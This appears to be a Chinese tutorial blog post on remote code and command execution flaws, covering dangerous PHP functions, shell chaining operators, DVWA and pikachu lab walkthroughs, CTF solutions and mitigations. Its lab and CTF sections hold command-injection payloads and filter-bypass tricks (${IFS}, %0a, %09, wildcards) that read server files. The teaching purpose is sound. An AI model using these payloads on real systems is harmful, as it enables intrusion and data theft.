远程代码执行:Remote Code Execute
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
远程命令执行:Remote Command Execute
可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
产生的原因:没对用户输入的内容进行严格的过滤
是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
危害
获取服务器权限
执行任意命令
获取敏感数据文件
写入恶意文件getshelll
植入木马病毒勒索文件等
漏洞案例
CVE-2021-3177 Python RCE漏洞
CVE-2021-21972 VMWare RCE漏洞
CVE-2021-25646 Apache Druid RCE漏洞
CNVD-2020-46552 深信服EDR
CNVD-2021-30101 网康下一-代防火墙
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=RCE
函数
命令注入相关函数
system()
执行命令并显示输出
exec()/shell_exec()
通过shell环境执行命令,并且将完整的输出以字符串方式返回
pcntl_exec()
在当前进程空间执行指定指令
passthru()
执行外部程序并且显示原始输出
popen()
打开进程文件指针
proc_open()
执行一个命令,并且打开用来输入/输出的文件指针
代码code注入
eval()
把字符串code作为PHP代码执行
assert()
判断一个断言是否为false
preg_replace()
执行一个正则表达式的搜索和替换
creat_function()
创建一个匿名函数并且返回函数名创
call_user_func()/call_user_func_array()
把第一个参数作为回调函数调用
usort()/uasort()
使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
命令拼接符号
Windows
&& 左边执行成功后右边执行
& 简单的拼接
| 上一条命令的输出作为下一个命令的输入
|| 左边的命令执行失败,右边的才会执行
Linux
; 没有任何逻辑关系的连接符
&& 左边执行成功后右边执行
| 上一条命令的输出作为下一个命令的输入
|| 左边的命令执行失败,右边的才会执行
& 任务后台执行,和nohup命令功能差不多
靶场案例
pikachu靶场
exec"ping"
127.0.0.1&ipconfig
exec"eval"
system(ipconfig);
DVWA靶场
low级别
直接输
medium级别
查看源码,对&&和;进行了置换
所以使用&
high级别
查看源码,对符号的置换增加
但是规则中|后有一个空格,所以使用|
impossible级别
查看源码,explode函数将字符串打散返回一个数组,ip地址以.作为隔断符号打散并返回一个数组中,使用is_numeric函数确定数组中的每一个符号是否都是数字,如果不是就说明输入的不是一个ip地址。
CTF案例
eval执行
因为有eval,所以使用中国蚁剑,密码就是cmd。
进入终端寻找到flag文件
命令注入
没有过滤策略,使用ls查询出当前文件夹的所有的文件,打开文件内容即可。文件内容在页面中未显示可以打开网站源代码查看
payload:127.0.0.1&cat 23311852324266.php
过滤cat
Linux中可以显示文件内容的指令
cat显示所有内容
tac从最后一行倒序显示内容,并将所有内容输出
less/more根据窗口大小,一页一页显示
head只显示前几行
tail只显示后几行
nl类似cat -n,输出时显示行号
tailf类似于tail -f
payload:127.0.0.1;less flag_918865127236.php
过滤空格
Linux中可以替换空格的
%09(url编码),<,>,${IFS}
payload:127.0.0.1;cat${IFS}flag_18872723620011.php
过滤目录分隔符
127.0.0.1;cd flag_is_here;ls查看文件夹中的所有文件,获得flag文件的文件名
payload:127.0.0.1;cd flag_is_here;cat flag_356523421547.php
综合训练
大部分符号都被替换
;->%0a
cat->less
flag->f***
空格->%09
;可以用%0a替换,但是是在url编码中。
先查询目录
challenge-d8a3c0dc5d1856fb.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Als
进入该文件夹查询flag文件,分号替换为%0a,空格替换为%09,flag可以用通配符f***替换
http://challenge-d8a3c0dc5d1856fb.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd%09f***_is_here%0Als
对flag文件进行查看,用less替换cat
payload:view-source:http://challenge-d8a3c0dc5d1856fb.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd%09f***_is_here%0Aless%09f***_40821916717419.php
防范
1、开源框架及时更新
2、尽量不要使用命令执行的函数
3、如果必须使用,需要做白名单
4、用正则表达式对用户输入的内容进行处理
5、使用WAF
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!